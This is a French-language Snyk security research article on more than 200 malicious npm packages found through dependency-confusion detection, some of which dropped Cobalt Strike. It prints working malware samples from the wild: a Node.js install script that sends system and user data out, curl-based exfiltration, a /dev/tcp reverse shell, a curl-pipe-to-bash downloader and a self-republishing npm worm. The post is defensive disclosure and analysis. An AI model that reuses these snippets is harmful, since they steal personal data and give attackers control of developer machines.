Skip to main content

Snyk détecte plus de 200 packages npm malveillants, dont des attaques par confusion de dépendances liées à Cobalt Strike

Écrit par
Headshot of Kirill Efimov

Kirill Efimov

feature cobalt strike

24 mai 2022

0 minutes de lecture

Snyk a récemment découvert plus de 200 packages malveillants dans le registre npm. Nous savons que la fatigue liée aux vulnérabilités est un problème pour les développeurs, mais cet article ne porte pas sur les cas habituels de typosquattage ou de packages malveillants choisis au hasard. Il présente les résultats d’attaques ciblées contre des entreprises que Snyk a pu détecter, ainsi que les enseignements qui en ont été tirés.

Dans cet article, plutôt que d’expliquer ce qu’est la confusion de dépendances et pourquoi elle a un impact considérable sur l’écosystème JavaScript (et en particulier sur le registre npm), nous allons nous concentrer sur l’approche de Snyk et sur les packages malveillants que nous avons récemment découverts. Si vous souhaitez en savoir plus sur la confusion de dépendances et les risques qu’elle présente, nous vous recommandons de lire l’article d’Alex Birsan Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies, ainsi que la divulgation par Snyk d’une simulation d’attaque ciblée par confusion de dépendances, prise sur le fait.

Nous voulons également expliquer comment les chercheurs en bug bounty et les équipes red team contribuent à polluer l’écosystème npm, en générant de faux rapports de sécurité et en aggravant une situation déjà problématique depuis l’apparition des vecteurs d’attaque par confusion de dépendances.

Récemment, de nombreuses entreprises se sont intéressées à la sécurité de la chaîne d’approvisionnement, dont un enjeu majeur est la détection des packages malveillants. Et nous ne doutons pas que npm ait suscité l’essentiel de l’attention. En interne, nous avons beaucoup discuté de npm : pouvions-nous faire mieux que les autres fournisseurs qui publient régulièrement des articles sur des packages malveillants à faible impact ? Nous avons décidé d’essayer une approche simple, pour voir combien de packages malveillants nous pouvions détecter de cette manière. Nous avons ensuite passé beaucoup de temps à affiner cette approche. Après l’ajout du centième package malveillant à la Snyk Vulnerability Database, nous avons compris qu’il fallait en parler. Mais commençons par voir comment trouver des packages malveillants dans un registre comme npm.

Trouver des packages malveillants dans le registre npm

Pour commencer, nous avons dû définir le périmètre et les objectifs de cette recherche en sécurité :

  1. Nous nous sommes concentrés uniquement sur les comportements malveillants à l’installation. Autrement dit, uniquement sur ce qui se passe pendant npm install. Les scripts malveillants à l’exécution ne sont pas concernés et feront l’objet d’une prochaine étude de cas.

  2. Le nombre de faux positifs devait rester raisonnable. Nous avons établi qu’un analyste en sécurité devait pouvoir examiner toutes les pistes en une heure de travail ou moins.

  3. Le collecteur devait être modulaire. Il a déjà évolué à plusieurs reprises et continue de le faire. Certaines techniques de détection ont été ajoutées et d’autres supprimées en raison du point 2.

  4. Pour commencer, nous avons décidé de nous en tenir à des analyses purement statiques. Nous aborderons l’analyse dynamique dans une autre publication.

Il est important de définir ce que nous considérons comme un comportement malveillant. Par exemple, ouvrir un shell inversé ou modifier des fichiers en dehors du dossier du projet constitue une activité malveillante.

Mais nous estimons également qu’un package qui exfiltre des informations personnelles identifiantes (ou des données susceptibles d’en contenir) peut être considéré comme malveillant. Par exemple :

  • Un package qui envoie un GUID de machine = pas malveillant– Un GUID ne contient aucune donnée personnelle de l’utilisateur et sert souvent à comptabiliser le nombre d’installations uniques d’un package.

  • Un package qui envoie le chemin du dossier de l’application = malveillant – Les chemins des dossiers d’application contiennent généralement le nom de l’utilisateur actuel, qui peut correspondre à son prénom et à son nom réels.

Le système sous-jacent se compose des éléments suivants :

  1. Une logique de collecte pour récupérer des informations sur les packages récemment ajoutés ou modifiés.

  2. Une logique d’étiquetage pour fournir des métadonnées pertinentes aux analystes en sécurité.

  3. Une logique de tri pour hiérarchiser les pistes de packages malveillants en fonction de l’étape précédente.

Le système de collecte produit des fichiers YAML (qui servent de points de données pour les pistes). Un analyste en sécurité les examine ensuite et les classe dans l’une des trois catégories suivantes :

  • Sans risque – Packages qui ne suscitent aucun soupçon. Nous les utilisons comme exemples de comportements non malveillants.

  • Malveillant – Packages malveillants.

  • Ignoré – Packages probablement non malveillants, mais dont le comportement à l’installation est trop courant ou trop complexe pour servir de modèle à l’avenir.

Reconnaissance du registre npm pour recueillir des informations sur les packages

Conformément à notre premier critère, nous devons traiter tous les packages nouveaux ou mis à jour qui comportent des scripts d’installation tels que preinstall, install ou postinstall.

Le registre npm utilise CouchDB en arrière-plan. Il met CouchDB à disposition du public via replicate.npmjs.com. La collecte des données est donc aussi simple que d’interroger le point de terminaison _changes dans l’ordre croissant. Plus précisément,

https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

permet d’obtenir la liste des packages mis à jour et créés depuis l’identifiant de l’événement enregistré lors de la précédente exécution du collecteur.

Nous utilisons également les points de terminaison https://registry.npmjs.org/ pour récupérer les métadonnées de chaque package de la liste et https://api.npmjs.org/downloads pour connaître le nombre de téléchargements d’un package.

La collecte des données comporte un seul aspect délicat : nous voulons extraire les scripts d’installation d’une archive tarball de package. Une archive tarball npm moyenne pèse moins d’un mégaoctet, mais certaines peuvent être énormes, atteindre plusieurs centaines de mégaoctets. Heureusement, les archives tar sont structurées de façon à permettre une approche en continu. Nous téléchargeons simplement l’archive jusqu’à obtenir le fichier recherché, puis nous interrompons la connexion, ce qui économise beaucoup de temps et de bande passante. Pour cela, nous utilisons le package npm tar-stream. C’est l’occasion de remercier Mathias Buus, grand contributeur au développement de JavaScript et Node.js, ainsi que mainteneur de nombreux packages npm open source qui facilitent le quotidien des développeurs.

Étiquetage des packages malveillants dans le registre npm

À ce stade, nous disposons de toutes les métadonnées du package : historique des versions, nom du mainteneur, contenu des scripts d’installation, dépendances, etc. Nous pouvons commencer à appliquer des règles. Voici quelques-unes des règles qui, d’après mon expérience, se sont révélées les plus efficaces :

  • bigVersion – La version majeure d’un package est supérieure ou égale à 90. Lors d’une attaque par confusion de dépendances, le package malveillant téléchargé doit avoir un numéro de version supérieur à celui du package d’origine. Comme nous le verrons plus loin, les packages malveillants ont souvent des versions comme 99.99.99.

  • yearNoUpdates – Le package est mis à jour pour la première fois depuis plus d’un an. C’est un indicateur essentiel pour déterminer si un package est resté sans maintenance pendant un certain temps avant d’être compromis par un acteur malveillant.

  • noGHTagLastVersion – La nouvelle version d’un package n’a pas d’étiquette dans le dépôt GitHub correspondant, alors que la version précédente en avait une. Cela permet de repérer les cas où le compte npm d’un utilisateur a été compromis, mais pas son compte GitHub.

  • isSuspiciousFile – Nous utilisons un ensemble d’expressions régulières pour détecter les scripts d’installation potentiellement malveillants. Elles repèrent les techniques d’obfuscation courantes, l’utilisation de domaines tels que canarytokens.com ou ngrok.io, la présence d’adresses IP, etc.

  • isSuspiciousScript – Un ensemble d’expressions régulières permet de détecter les scripts potentiellement malveillants dans le fichier package.json. Par exemple, nous avons constaté que “postinstall: “node .” est souvent utilisé dans des packages malveillants.

Le système sous-jacent comporte d’autres étiquettes, mais celles présentées ci-dessus donnent une bonne idée du fonctionnement de la logique du collecteur.

Trier les données des packages npm

Nous souhaitons automatiser davantage le processus plutôt que de nous en remettre à l’examen manuel des analystes en sécurité. Si un script d’installation a déjà été classé comme fiable ou malveillant, nous attribuons automatiquement la même classification aux nouveaux cas. Cette méthode fonctionne surtout pour les comportements non malveillants, comme “postinstall”: “webpack” ou “postinstall”: “echo thanks for using please donate”, et contribue à réduire le bruit.

Nous hiérarchisons également certaines étiquettes afin de les traiter en priorité, car elles offrent un meilleur taux de vrais positifs. Les étiquettes isSuspiciousFile et isSuspiciousScript sont prioritaires.

Analyse manuelle de sécurité

La dernière étape du processus de détection est l’analyse manuelle. Elle se déroule elle aussi en plusieurs étapes :

  1. Vérifier les pistes triées automatiquement et celles qui sont prioritaires. Ce sont les plus susceptibles d’être malveillantes. Examiner une à une les pistes non triées afin de repérer de nouvelles règles pour les cas malveillants ou non malveillants.

  2. Mettre à jour la logique du collecteur en fonction du point 2.

  3. Ajouter chaque package malveillant à la Snyk Vulnerability Database.

  4. Dans certains cas, comme celui de gxm-reference-web-auth-server, si un package semble comporter un mécanisme malveillant inhabituel, un analyste consacre davantage de temps à l’analyser en profondeur et à partager ses observations avec la communauté et les utilisateurs de Snyk.

Ce processus nous permet d’améliorer le collecteur chaque jour et d’automatiser la procédure.

Quels packages malveillants sur npm avons-nous détectés ?

À ce jour, le système a permis d’identifier plus de 200 packages npm, avec des détections confirmées comme vrais positifs, qui représentent également une menace réelle d’attaque par confusion de dépendances. Nous souhaitons classer davantage ces découvertes et présenter les différents comportements et concepts exploités par les attaquants.

Packages malveillants qui exfiltrent des données

L’un des types les plus courants de packages malveillants consiste en l’exfiltration de données via des requêtes HTTP ou DNS. Il s’agit souvent d’une copie modifiée du script d’origine utilisé dans l’étude sur la confusion de dépendances. Certains packages comportent des commentaires tels que « ce package est utilisé à des fins de recherche » ou « aucune donnée sensible n’est récupérée ». Ne vous y trompez pas : ils récupèrent des informations personnelles identifiantes et les envoient sur le réseau, ce qui ne devrait jamais se produire.

Voici un exemple typique de package repéré par Snyk :

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "<malicious host>", 
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Nous avons observé des tentatives d’exfiltration des informations suivantes, classées de la moins dangereuse à la plus dangereuse :

  • Nom de l’utilisateur actuel

  • Chemin du répertoire personnel

  • Chemin du répertoire de l’application

  • Liste des fichiers dans différents dossiers, comme le répertoire personnel ou le répertoire de travail de l’application

  • Résultat de la commande système ifconfig

  • Fichier package.json de l’application

  • Variables d’environnement

  • Fichier .npmrc

Un ajout intéressant à cette catégorie de packages malveillants : ceux qui comportent un script install tel que npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Ce script exfiltre clairement le chemin du répertoire de cache npm (généralement situé dans le dossier personnel de l’utilisateur actuel), mais installe également un package provenant d’une source externe. D’après notre expérience, ce package externe est toujours un simple package factice, sans logique ni fichiers. Mais il se peut que le serveur applique des conditions régionales ou autres, ou que le package se transforme en mineur de cryptomonnaie ou en cheval de Troie après un certain temps.

Dans certains cas, nous avons relevé des indices de scripts bash tels que :

DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
curl "https://<malicious host>/?q=$DETAILS"

L’exemple ci-dessus exfiltre des informations sur l’adresse IP publique, le nom d’hôte et le nom de l’utilisateur.

Packages malveillants qui ouvrent un shell inversé

Un autre type courant de package malveillant tente d’ouvrir un shell inversé : la machine ciblée se connecte à un serveur distant contrôlé par un attaquant, qui peut alors la commander à distance. Cela peut se faire avec un code aussi simple que le suivant :

/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

Ou avec des implémentations plus complexes utilisant net.Socket ou d’autres méthodes de connexion.

Le principal défi avec cette catégorie, c’est que, même si la logique semble simple, le comportement malveillant réel est entièrement dissimulé sur le serveur du pirate. Cela dit, on peut en constater les conséquences : un pirate peut prendre le contrôle total de l’ordinateur sur lequel le package malveillant est installé.

Nous avons décidé d’exécuter l’un de ces packages dans un environnement isolé. Voici les commandes que nous avons enregistrées :

  1. nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& – télécharger et exécuter un script depuis le serveur malveillant.

  2. Le script téléchargé depuis le serveur malveillant s’est ajouté au répertoire /tmp, puis a commencé à s’interroger lui-même toutes les 10 secondes, en attendant des mises à jour de l’attaquant à distance.

  3. Après un certain temps, il a téléchargé un fichier binaire qui, selon VirusTotal, est un cheval de Troie Cobalt Strike.

Tableau de bord d’analyse de sécurité indiquant que 15 fournisseurs sur 63 signalent un fichier ZIP comme malveillant, avec plusieurs détections de Cobalt Strike.

L’utilisation de chevaux de Troie dans les packages npm malveillants

Dans cette catégorie, nous avons trouvé différents packages qui installent et exécutent divers agents de commande et de contrôle. Comme leur présentation dépasse le cadre de cet article, nous vous recommandons plutôt de lire notre récent article consacré à la rétro-ingénierie détaillée du package gxm-reference-web-auth-server. Cet article présente les conclusions de recherches éthiques menées par des hackers éthiques dans le cadre d’une équipe rouge. Il constitue également un bon exemple de ce que peuvent contenir les packages npm de cette catégorie d’attaques par confusion de dépendances malveillantes. C’est aussi un exemple intéressant de détection d’une équipe rouge en pleine action.

Dans un autre cas intéressant, nous avons examiné les appels système provenant de l’environnement isolé. L’un d’eux a retenu notre attention : il lançait un processus détaché et exécutait un appel d’attente pendant 30 minutes. Ce n’est qu’ensuite qu’il commençait ses activités malveillantes.

Découvrir les canulars et les protestations dans les packages npm

En mars, nous avons publié un article sur les packages npm de protestation. Mais, en plus de ces protestwares, nous avons observé diverses tentatives d’ouverture de vidéos YouTube ou NSFW et d’autres sites Web dans votre navigateur, voire d’ajout de cette commande à votre fichier .bashrc.

L’extrait de code peut être aussi simple que open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> dans le script postinstall, ou shell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc) dans un fichier JavaScript exécuté lors de l’installation.

Un autre exemple potentiellement nuisible de package malveillant détecté au cours de cette enquête est un package qui vérifie la présence d’un fichier .npmrc et, si c’est le cas, exécute npm publish pour créer sa propre copie au nom de votre utilisateur npm. Comme vous pouvez le constater, il se comporte comme un ver et peut, dans certaines circonstances, devenir une véritable menace.

const fs = require('fs')
const faker = require('faker')
const child_process = require('child_process')
const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
faker.company.bsNoun()).toLowerCase()
let hasNpmRc = false
const read = (p) => {
  return fs.readFileSync(p).toString()
}
try {
  const npmrcFile = read(process.env.HOME + '/.npmrc')
  hasNpmRc = true
} catch(err) {
}
if (hasNpmRc) {
  console.log('Publishing new version of myself')
  console.log('My new name', pkgName)
  const pkgPath = __dirname + '/package.json'
  const pkgJSON = JSON.parse(read(pkgPath))
  pkgJSON.name = pkgName
  fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
  child_process.exec('npm publish')
  console.log('DONE')
}

Conclusions et recommandations

Chez Snyk, nous œuvrons chaque jour pour renforcer la sécurité des écosystèmes de logiciels open source. Aujourd’hui, nous avons présenté quelques variantes de packages npm malveillants, mais cette liste est loin d’être exhaustive. Nos recherches ont montré que l’écosystème npm est activement utilisé pour mener différentes attaques de la chaîne d’approvisionnement. Nous vous recommandons d’utiliser des outils comme Snyk pour vous protéger en tant que développeur ou responsable de maintenance, ainsi que pour protéger vos applications et vos projets.

Si vous êtes un chasseur de primes aux bugs ou un membre d’une équipe rouge et que vous devez publier un package npm pour mener des activités de reconnaissance, nous vous recommandons de respecter les conditions d’utilisation et les directives juridiques de npm. Dans tous les cas, n’exfiltrez aucune donnée à caractère personnel et indiquez clairement l’objectif du package, soit dans les commentaires du code source, soit dans sa description. Nous avons observé quelques packages de recherche légitimes qui envoyaient des identifiants uniques de machine, comme node-machine-id.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis de capture du drapeau en regardant à la demande notre atelier virtuel d’initiation.

Récapitulatif des packages concernés à la date de publication

Pour résumer, nous souhaitons publier la liste des packages que nous avons pu détecter. Certains, voire la plupart, ont déjà été supprimés du registre npm, mais d’autres y figuraient encore au moment de la publication de cette étude.

git-en-boite-core

@seller-ui/products

git-en-boite-app

insomnia-plugin-simple-hmac-auth

selenium-applitools

api-extractor-test-01

@tilliwilli/npm-lifecycles

vfdp-ui-framework

klook-node-framework

next-plugin-normal

klook-node-framework-affiliate

@iwcp/nebula-ui

klook-tetris-server

react-dom-router-old

klook-ui

react-dom-router-compatibility

logquery

node-hawk-search

@klooks/klook-node-framework

ual-content-page

schema-render

npm_test_nothing

tetris-scripts

lbc-git

klook-node-framework-language

angieslist-composed-components

klook-node-framework-country

angieslist-gulp-build-tasks

klook-node-framework-currency

onepassword_events_api

klook-node-framework-device

on-running-script-context

klook-node-framework-logger

okbirthday2015

klook-node-framework-site

oidc-frontend

klook-node-framework-experiment

nucleus-wallet

klook-node-framework-cache

videojs-vtt

executables.handler

@commercialsalesandmarketing/contact-search

tracer.node

cap-common-pages

state.aggregator

coldstone-helpers

rce-techroom

rainbow-bridge-testing

acronis-ui-kit

npm-exec-noperm

activity-iframe-sdk

npmbulabula

angieslist-visitor-app-common

nozbedesktop

uitk-react-rating

nodejs-email

ldtzstxwzpntxqn

plugin-welcome

gxm-reference-web-auth-server

polymer-shim-styles

lznfjbhurpjsqmr

lexical-website-new

npm_protect_pkg

paper-toolbar

com.unity.xr.oculus

paytm-kafka-rest

katt-util

phoenix.site

workspace-hoist-all

assets-common

qjwt

bolt-styles

bigid-permissions

phub-dl

@uc-maps/api.react

api-extractor-test-01

@uc-maps/test

adroit-websdk-client

@uc-maps/test1

f0-utils

@uc-maps/boundaries-core.react

@uc-maps/boundaries-core.react

@uc-maps/geospatial

elysium-ui

@uc-maps/layer-select.react

portail-web

@uc-maps/maps.react

postinstall-dummy

@uc-maps/parcel-shapes

threatresponse

wf_ajax

pratikyadavh2

wf_apn

cap-products

wf_storage

promoaline

wf_scheduler

promohline

bigid-filter-recursive-parser

promofline

bigid-query-object-serialization

promoimmo

yo-code-dependencies-versions

promohlineupselling

abchdefntofknacuifnt

promotemplate

generator-code-dependencies-versions

ptmproc

@visiology-public-utilities/language-utils

quick-app-guide

finco

razer-xdk

azure-linux-tools

epic-games-self-service-portal

com.unity.xr.oculus

pg-ng-popover

@uieng/messaging-api

pco_api

jptest1

lyft-avidl

pegjs-override-action

pegjs-override-action

jinghuan-jsb

stripe-connect-rocketrides

kntl-digital3

flake8-holvi

@sorare-marketplace/components

volgactf

fc-gotcha

mb-blog

com.unity.searcher

orangeonion.buildtools

sixt

gatsby-plugin-added-by-parent-theme

r3corda

gulp-browserify-thin

got-hacked

eslint-plugin-seller-ui-eslint-plugin

qweasdzxc

@seller-ui/settings